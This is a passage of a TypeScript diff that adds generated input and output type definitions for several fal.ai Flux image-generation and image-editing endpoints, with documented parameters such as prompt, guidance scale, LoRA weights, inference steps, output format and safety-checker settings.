/** + * @description Timestep to start guidance during reverse process. + * @default 0 + * @type integer | undefined + */ + reverse_guidance_start?: number + /** + * @description Sigmas schedule for the denoising process. + */ + sigma_schedule?: 'sgm_uniform' | null + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiFluxGeneralRfInversionOutputFormatEnumKey + /** + * @description + * Uses CFG-zero init sampling as in https://arxiv.org/abs/2503.18886. + * + * @default false + * @type boolean | undefined + */ + use_cfg_zero?: boolean + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Timestep to stop guidance during reverse process. + * @default 8 + * @type integer | undefined + */ + reverse_guidance_end?: number + /** + * @description Use an image input to influence the generation. Can be used to fill images in masked areas. + */ + fill_image?: ImageFillInput | null + /** + * @description + * The controlnets to use for the image generation. Only one controlnet is supported at the moment. + * + * @default [] + * @type array | undefined + */ + controlnets?: ControlNet[] + /** + * @description The number of inference steps to perform. + * @minimum 1 + * @maximum 50 + * @default 28 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The prompt to edit the image with + * @example Wearing glasses + * @type string + */ + prompt: string + /** + * @description Strength of reference_only generation. Only used if a reference image is provided. + * @minimum -3 + * @maximum 3 + * @default 0.65 + * @type number | undefined + */ + reference_strength?: number + /** + * @description Base shift for the scheduled timesteps + * @minimum 0.01 + * @maximum 5 + * @default 0.5 + * @type number | undefined + */ + base_shift?: number + /** + * @description + * The scale for NAG. Higher values will result in a image that is more distant + * to the negative prompt. + * + * @maximum 10 + * @default 3 + * @type number | undefined + */ + nag_scale?: number + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 0 + * @maximum 20 + * @default 3.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description Scheduler for the denoising process. + * @default 'euler' + * @type string | undefined + */ + scheduler?: InputFalAiFluxGeneralRfInversionSchedulerEnumKey + /** + * @description + * EasyControl Inputs to use for image generation. + * + * @default [] + * @type array | undefined + */ + easycontrols?: EasyControlWeight[] + /** + * @description + * The percentage of the total timesteps when the reference guidance is to bestarted. + * + * @minimum 0 + * @maximum 1 + * @default 0 + * @type number | undefined + */ + reference_start?: number + /** + * @description + * The LoRAs to use for the image generation. You can use any number of LoRAs + * and they will be merged together to generate the final image. + * + * @default [] + * @type array | undefined + */ + loras?: LoraWeightF90251D8[] +} + +export type ImageE91672Fd = { + height: number + width: number + url: string + /** + * @default image/jpeg + */ + content_type?: string | null +} + +export type OutputFalAiFluxGeneralRfInversion = { + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + timings: { + [key: string]: number + } + /** + * @description The generated image files info. + * @type array + */ + images: ImageE91672Fd[] + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number +} + +export type LoraWeightFf4E1422 = { + /** + * @description URL or the path to the LoRA weights. + * @type string + */ + path: string + /** + * @description + * The scale of the LoRA weight. This is used to scale the LoRA weight + * before merging it with the base model. + * + * @minimum 0 + * @maximum 4 + * @default 1 + * @type number | undefined + */ + scale?: number +} + +export const inputFalAiFluxKontextLoraAccelerationEnum = { + none: 'none', + regular: 'regular', + high: 'high', +} as const + +export type InputFalAiFluxKontextLoraAccelerationEnumKey = + (typeof inputFalAiFluxKontextLoraAccelerationEnum)[keyof typeof inputFalAiFluxKontextLoraAccelerationEnum] + +export const inputFalAiFluxKontextLoraOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiFluxKontextLoraOutputFormatEnumKey = + (typeof inputFalAiFluxKontextLoraOutputFormatEnum)[keyof typeof inputFalAiFluxKontextLoraOutputFormatEnum] + +export const inputFalAiFluxKontextLoraResolutionModeEnum = { + auto: 'auto', + match_input: 'match_input', + '1:1': '1:1', + '16:9': '16:9', + '21:9': '21:9', + '3:2': '3:2', + '2:3': '2:3', + '4:5': '4:5', + '5:4': '5:4', + '3:4': '3:4', + '4:3': '4:3', + '9:16': '9:16', + '9:21': '9:21', +} as const + +export type InputFalAiFluxKontextLoraResolutionModeEnumKey = + (typeof inputFalAiFluxKontextLoraResolutionModeEnum)[keyof typeof inputFalAiFluxKontextLoraResolutionModeEnum] + +export type InputFalAiFluxKontextLora = { + /** + * @description The prompt to edit the image. + * @example change the setting to a day time, add a lot of people walking the sidewalk while maintaining the same style of the painting + * @type string + */ + prompt: string + /** + * @description The speed of the generation. The higher the speed, the faster the generation. + * @default 'none' + * @type string | undefined + */ + acceleration?: InputFalAiFluxKontextLoraAccelerationEnumKey + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 0 + * @maximum 20 + * @default 2.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description + * The LoRAs to use for the image generation. You can use any number of LoRAs + * and they will be merged together to generate the final image. + * + * @default [] + * @type array | undefined + */ + loras?: LoraWeightFf4E1422[] + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiFluxKontextLoraOutputFormatEnumKey + /** + * @description The URL of the image to edit. + * + * Max width: 14142px, Max height: 14142px, Timeout: 20s + * @example https://storage.googleapis.com/falserverless/example_inputs/kontext_example_input.webp + * @type string + */ + image_url: string + /** + * @description The number of inference steps to perform. + * @minimum 10 + * @maximum 50 + * @default 30 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description + * Determines how the output resolution is set for image editing. + * - `auto`: The model selects an optimal resolution from a predefined set that best matches the input image's aspect ratio. This is the recommended setting for most use cases as it's what the model was trained on. + * - `match_input`: The model will attempt to use the same resolution as the input image. The resolution will be adjusted to be compatible with the model's requirements (e.g. dimensions must be multiples of 16 and within supported limits). + * Apart from these, a few aspect ratios are also supported. + * + * @default 'match_input' + * @type string | undefined + */ + resolution_mode?: InputFalAiFluxKontextLoraResolutionModeEnumKey +} + +export type Image92B9A436 = { + width: number + /** + * @default image/jpeg + */ + content_type?: string | null + height: number + url: string +} + +export type OutputFalAiFluxKontextLora = { + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The generated image files info. + * @example [{"width":1024,"content_type":"image/jpeg","height":768,"url":"https://storage.googleapis.com/falserverless/example_outputs/kontext_example_output.jpeg"}] + * @type array + */ + images: Image92B9A436[] + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + timings: { + [key: string]: number + } + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number +} + +export type LoraWeightEe1983E4 = { + /** + * @description URL or the path to the LoRA weights. + * @type string + */ + path: string + /** + * @description + * The scale of the LoRA weight. This is used to scale the LoRA weight + * before merging it with the base model. + * + * @minimum 0 + * @maximum 4 + * @default 1 + * @type number | undefined + */ + scale?: number +} + +export const inputFalAiFluxKontextLoraInpaintAccelerationEnum = { + none: 'none', + regular: 'regular', + high: 'high', +} as const + +export type InputFalAiFluxKontextLoraInpaintAccelerationEnumKey = + (typeof inputFalAiFluxKontextLoraInpaintAccelerationEnum)[keyof typeof inputFalAiFluxKontextLoraInpaintAccelerationEnum] + +export const inputFalAiFluxKontextLoraInpaintOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiFluxKontextLoraInpaintOutputFormatEnumKey = + (typeof inputFalAiFluxKontextLoraInpaintOutputFormatEnum)[keyof typeof inputFalAiFluxKontextLoraInpaintOutputFormatEnum] + +export type InputFalAiFluxKontextLoraInpaint = { + /** + * @description The URL of the reference image for inpainting. + * @example https://storage.googleapis.com/falserverless/example_inputs/reference_kontext_inpaint.jpeg + * @type string + */ + reference_image_url: string + /** + * @description The prompt for the image to image task. + * @example A football lying on a field. + * @type string + */ + prompt: string + /** + * @description The speed of the generation. The higher the speed, the faster the generation. + * @default 'none' + * @type string | undefined + */ + acceleration?: InputFalAiFluxKontextLoraInpaintAccelerationEnumKey + /** + * @description The strength of the initial image. Higher strength values are better for this model. + * @minimum 0.01 + * @maximum 1 + * @default 0.88 + * @type number | undefined + */ + strength?: number + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The URL of the mask for inpainting. + * @example https://storage.googleapis.com/falserverless/example_inputs/mask_kontext_inpaint.png + * @type string + */ + mask_url: string + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description + * The LoRAs to use for the image generation. You can use any number of LoRAs + * and they will be merged together to generate the final image. + * + * @default [] + * @type array | undefined + */ + loras?: LoraWeightEe1983E4[] + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiFluxKontextLoraInpaintOutputFormatEnumKey + /** + * @description The number of inference steps to perform. + * @minimum 10 + * @maximum 50 + * @default 30 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The URL of the image to be inpainted. + * @example https://storage.googleapis.com/falserverless/example_inputs/image_kontext_inpaint.jpeg + * @type string + */ + image_url: string + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 0 + * @maximum 20 + * @default 2.5 + * @type number | undefined + */ + guidance_scale?: number +} + +export type ImageC99D5538 = { + width: number + /** + * @default image/jpeg + */ + content_type?: string | null + height: number + url: string +} + +export type OutputFalAiFluxKontextLoraInpaint = { + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The generated image files info. + * @example [{"width":1248,"content_type":"image/jpeg","height":832,"url":"https://storage.googleapis.com/falserverless/example_outputs/kontext_inpaint_output.png"}] + * @type array + */ + images: ImageC99D5538[] + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + timings: { + [key: string]: number + } + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number +} + +export type LoraWeightBd3F97B5 = { + /** + * @description URL or the path to the LoRA weights. + * @type string + */ + path: string + /** + * @description + * The scale of the LoRA weight. This is used to scale the LoRA weight + * before merging it with the base model. + * + * @minimum 0 + * @maximum 4 + * @default 1 + * @type number | undefined + */ + scale?: number +} + +export type ImageSizeFb6Dc977 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiFluxKontextLoraTextToImageAccelerationEnum = { + none: 'none', + regular: 'regular', + high: 'high', +} as const + +export type InputFalAiFluxKontextLoraTextToImageAccelerationEnumKey = + (typeof inputFalAiFluxKontextLoraTextToImageAccelerationEnum)[keyof typeof inputFalAiFluxKontextLoraTextToImageAccelerationEnum] + +export const inputFalAiFluxKontextLoraTextToImageOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiFluxKontextLoraTextToImageOutputFormatEnumKey = + (typeof inputFalAiFluxKontextLoraTextToImageOutputFormatEnum)[keyof typeof inputFalAiFluxKontextLoraTextToImageOutputFormatEnum] + +export const inputFalAiFluxKontextLoraTextToImageImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiFluxKontextLoraTextToImageImageSizeKey = + (typeof inputFalAiFluxKontextLoraTextToImageImageSize)[keyof typeof inputFalAiFluxKontextLoraTextToImageImageSize] + +export type InputFalAiFluxKontextLoraTextToImage = { + /** + * @description The prompt to generate the image with + * @example Mount Fuji with cherry blossoms in the foreground, clear sky, peaceful spring day, soft natural light, realistic landscape. + * @type string + */ + prompt: string + /** + * @description The speed of the generation. The higher the speed, the faster the generation. + * @default 'none' + * @type string | undefined + */ + acceleration?: InputFalAiFluxKontextLoraTextToImageAccelerationEnumKey + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 0 + * @maximum 20 + * @default 2.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description + * The LoRAs to use for the image generation. You can use any number of LoRAs + * and they will be merged together to generate the final image. + * + * @default [] + * @type array | undefined + */ + loras?: LoraWeightBd3F97B5[] + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiFluxKontextLoraTextToImageOutputFormatEnumKey + /** + * @description The number of inference steps to perform. + * @minimum 10 + * @maximum 50 + * @default 30 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The size of the generated image. + * @default landscape_4_3 + */ + image_size?: + | ImageSizeFb6Dc977 + | InputFalAiFluxKontextLoraTextToImageImageSizeKey +} + +export type Image0069D3D6 = { + width: number + /** + * @default image/jpeg + */ + content_type?: string | null + height: number + url: string +} + +export type OutputFalAiFluxKontextLoraTextToImage = { + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The generated image files info. + * @example [{"width":1024,"content_type":"image/jpeg","height":768,"url":"https://storage.googleapis.com/falserverless/example_outputs/kontext_example_t2i_output.png"}] + * @type array + */ + images: Image0069D3D6[] + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + timings: { + [key: string]: number + } + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number +} + +export const inputFalAiFluxKontextDevAccelerationEnum = { + none: 'none', + regular: 'regular', + high: 'high', +} as const + +export type InputFalAiFluxKontextDevAccelerationEnumKey = + (typeof inputFalAiFluxKontextDevAccelerationEnum)[keyof typeof inputFalAiFluxKontextDevAccelerationEnum] + +export const inputFalAiFluxKontextDevOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiFluxKontextDevOutputFormatEnumKey = + (typeof inputFalAiFluxKontextDevOutputFormatEnum)[keyof typeof inputFalAiFluxKontextDevOutputFormatEnum] + +export const inputFalAiFluxKontextDevResolutionModeEnum = { + auto: 'auto', + match_input: 'match_input', + '1:1': '1:1', + '16:9': '16:9', + '21:9': '21:9', + '3:2': '3:2', + '2:3': '2:3', + '4:5': '4:5', + '5:4': '5:4', + '3:4': '3:4', + '4:3': '4:3', + '9:16': '9:16', + '9:21': '9:21', +} as const + +export type InputFalAiFluxKontextDevResolutionModeEnumKey = + (typeof inputFalAiFluxKontextDevResolutionModeEnum)[keyof typeof inputFalAiFluxKontextDevResolutionModeEnum] + +export type InputFalAiFluxKontextDev = { + /** + * @description The prompt to edit the image. + * @example Change the setting to a day time, add a lot of people walking the sidewalk while maintaining the same style of the painting + * @type string + */ + prompt: string + /** + * @description The speed of the generation. The higher the speed, the faster the generation. + * @default 'none' + * @type string | undefined + */ + acceleration?: InputFalAiFluxKontextDevAccelerationEnumKey + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 1 + * @maximum 20 + * @default 2.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The URL of the image to edit. + * + * Max width: 14142px, Max height: 14142px, Timeout: 20s + * @example https://storage.googleapis.com/falserverless/example_inputs/kontext_example_input.webp + * @type string + */ + image_url: string + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description Output format + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiFluxKontextDevOutputFormatEnumKey + /** + * @description The number of inference steps to perform. + * @minimum 10 + * @maximum 50 + * @default 28 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description + * Determines how the output resolution is set for image editing. + * - `auto`: The model selects an optimal resolution from a predefined set that best matches the input image's aspect ratio. This is the recommended setting for most use cases as it's what the model was trained on. + * - `match_input`: The model will attempt to use the same resolution as the input image. The resolution will be adjusted to be compatible with the model's requirements (e.g. dimensions must be multiples of 16 and within supported limits). + * Apart from these, a few aspect ratios are also supported. + * + * @default 'match_input' + * @type string | undefined + */ + resolution_mode?: InputFalAiFluxKontextDevResolutionModeEnumKey +} + +export type ImageAfd9Ead1 = { + width: number + /** + * @default image/jpeg + */ + content_type?: string | null + height: number + url: string +} + +export type OutputFalAiFluxKontextDev = { + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The generated image files info. + * @example [{"width":1024,"content_type":"image/jpeg","height":768,"url":"https://storage.googleapis.com/falserverless/example_outputs/kontext_example_output.jpeg"}] + * @type array + */ + images: ImageAfd9Ead1[] + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + timings: { + [key: string]: number + } + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number +} + +export type LoraWeight537Cc25F = { + /** + * @description URL or the path to the LoRA weights. + * @type string + */ + path: string + /** + * @description + * The scale of the LoRA weight. This is used to scale the LoRA weight + * before merging it with the base model. + * + * @minimum 0 + * @maximum 4 + * @default 1 + * @type number | undefined + */ + scale?: number +} + +export type ImageSize8D95C40D = { + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number +} + +export const inputFalAiFluxKreaLoraAccelerationEnum = { + none: 'none', + regular: 'regular', +} as const + +export type InputFalAiFluxKreaLoraAccelerationEnumKey = + (typeof inputFalAiFluxKreaLoraAccelerationEnum)[keyof typeof inputFalAiFluxKreaLoraAccelerationEnum] + +export const inputFalAiFluxKreaLoraOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiFluxKreaLoraOutputFormatEnumKey = + (typeof inputFalAiFluxKreaLoraOutputFormatEnum)[keyof typeof inputFalAiFluxKreaLoraOutputFormatEnum] + +export const inputFalAiFluxKreaLoraImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiFluxKreaLoraImageSizeKey = + (typeof inputFalAiFluxKreaLoraImageSize)[keyof typeof inputFalAiFluxKreaLoraImageSize] + +export type InputFalAiFluxKreaLora = { + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description + * The LoRAs to use for the image generation. You can use any number of LoRAs + * and they will be merged together to generate the final image. + * + * @default [] + * @type array | undefined + */ + loras?: LoraWeight537Cc25F[] + /** + * @description Acceleration level for image generation. 'regular' balances speed and quality. + * @default 'none' + * @type string | undefined + */ + acceleration?: InputFalAiFluxKreaLoraAccelerationEnumKey + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiFluxKreaLoraOutputFormatEnumKey + /** + * @description The number of images to generate. This is always set to 1 for streaming output. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 0 + * @maximum 35 + * @default 3.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description The number of inference steps to perform. + * @minimum 1 + * @maximum 50 + * @default 28 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The prompt to generate an image from. + * @example Extreme close-up of a single tiger eye, direct frontal view. Detailed iris and pupil. Sharp focus on eye texture and color. Natural lighting to capture authentic eye shine and depth. The word "FLUX" is painted over it in big, white brush strokes with visible texture. + * @type string + */ + prompt: string + /** + * @description The size of the generated image. + * @default landscape_4_3 + */ + image_size?: ImageSize8D95C40D | InputFalAiFluxKreaLoraImageSizeKey +} + +export type Image0E6491Bc = { + /** + * @default image/jpeg + */ + content_type?: string | null + height: number + url: string + width: number +} + +export type OutputFalAiFluxKreaLora = { + timings: { + [key: string]: number + } + /** + * @description The generated image files info. + * @type array + */ + images: Image0E6491Bc[] + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number +} + +export type LoraWeight75Ec7233 = { + /** + * @description URL or the path to the LoRA weights. + * @type string + */ + path: string + /** + * @description + * The scale of the LoRA weight. This is used to scale the LoRA weight + * before merging it with the base model. + * + * @minimum 0 + * @maximum 4 + * @default 1 + * @type number | undefined + */ + scale?: number +} + +export type ImageSizeC17Bc505 = { + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number +} + +export const inputFalAiFluxKreaLoraImageToImageAccelerationEnum = { + none: 'none', + regular: 'regular', +} as const + +export type InputFalAiFluxKreaLoraImageToImageAccelerationEnumKey = + (typeof inputFalAiFluxKreaLoraImageToImageAccelerationEnum)[keyof typeof inputFalAiFluxKreaLoraImageToImageAccelerationEnum] + +export const inputFalAiFluxKreaLoraImageToImageOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiFluxKreaLoraImageToImageOutputFormatEnumKey = + (typeof inputFalAiFluxKreaLoraImageToImageOutputFormatEnum)[keyof typeof inputFalAiFluxKreaLoraImageToImageOutputFormatEnum] + +export const inputFalAiFluxKreaLoraImageToImageImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiFluxKreaLoraImageToImageImageSizeKey = + (typeof inputFalAiFluxKreaLoraImageToImageImageSize)[keyof typeof inputFalAiFluxKreaLoraImageToImageImageSize] + +export type InputFalAiFluxKreaLoraImageToImage = { + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The strength to use for inpainting/image-to-image. Only used if the image_url is provided. 1.0 is completely remakes the image while 0.0 preserves the original. + * @minimum 0.01 + * @maximum 1 + * @default 0.85 + * @type number | undefined + */ + strength?: number + /** + * @description + * The LoRAs to use for the image generation. You can use any number of LoRAs + * and they will be merged together to generate the final image. + * + * @default [] + * @type array | undefined + */ + loras?: LoraWeight75Ec7233[] + /** + * @description Acceleration level for image generation. 'regular' balances speed and quality. + * @default 'none' + * @type string | undefined + */ + acceleration?: InputFalAiFluxKreaLoraImageToImageAccelerationEnumKey + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiFluxKreaLoraImageToImageOutputFormatEnumKey + /** + * @description The number of images to generate. This is always set to 1 for streaming output. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 0 + * @maximum 35 + * @default 3.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description URL of image to use for inpainting. or img2img + * @example https://storage.googleapis.com/falserverless/example_inputs/dog.png + * @type string + */ + image_url: string + /** + * @description The number of inference steps to perform. + * @minimum 1 + * @maximum 50 + * @default 28 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The prompt to generate an image from. + * @example A photo of a lion sitting on a stone bench + * @type string + */ + prompt: string + /** + * @description The size of the generated image. + */ + image_size?: + | ImageSizeC17Bc505 + | InputFalAiFluxKreaLoraImageToImageImageSizeKey + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null +} + +export type ImageA888A976 = { + /** + * @default image/jpeg + */ + content_type?: string | null + height: number + url: string + width: number +} + +export type OutputFalAiFluxKreaLoraImageToImage = { + timings: { + [key: string]: number + } + /** + * @description The generated image files info. + * @type array + */ + images: ImageA888A976[] + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number +} + +export type LoraWeightB5Df9E11 = { + /** + * @description URL or the path to the LoRA weights. + * @type string + */ + path: string + /** + * @description + * The scale of the LoRA weight. This is used to scale the LoRA weight + * before merging it with the base model. + * + * @minimum 0 + * @maximum 4 + * @default 1 + * @type number | undefined + */ + scale?: number +} + +export type ImageSizeFf799397 = { + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number +} + +export const inputFalAiFluxKreaLoraInpaintingAccelerationEnum = { + none: 'none', + regular: 'regular', +} as const + +export type InputFalAiFluxKreaLoraInpaintingAccelerationEnumKey = + (typeof inputFalAiFluxKreaLoraInpaintingAccelerationEnum)[keyof typeof inputFalAiFluxKreaLoraInpaintingAccelerationEnum] + +export const inputFalAiFluxKreaLoraInpaintingOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiFluxKreaLoraInpaintingOutputFormatEnumKey = + (typeof inputFalAiFluxKreaLoraInpaintingOutputFormatEnum)[keyof typeof inputFalAiFluxKreaLoraInpaintingOutputFormatEnum] + +export const inputFalAiFluxKreaLoraInpaintingImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiFluxKreaLoraInpaintingImageSizeKey = + (typeof inputFalAiFluxKreaLoraInpaintingImageSize)[keyof typeof inputFalAiFluxKreaLoraInpaintingImageSize] + +export type InputFalAiFluxKreaLoraInpainting = { + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The strength to use for inpainting/image-to-image. Only used if the image_url is provided. 1.0 is completely remakes the image while 0.0 preserves the original. + * @minimum 0.01 + * @maximum 1 + * @default 0.85 + * @type number | undefined + */ + strength?: number + /** + * @description + * The LoRAs to use for the image generation. You can use any number of LoRAs + * and they will be merged together to generate the final image. + * + * @default [] + * @type array | undefined + */ + loras?: LoraWeightB5Df9E11[] + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * 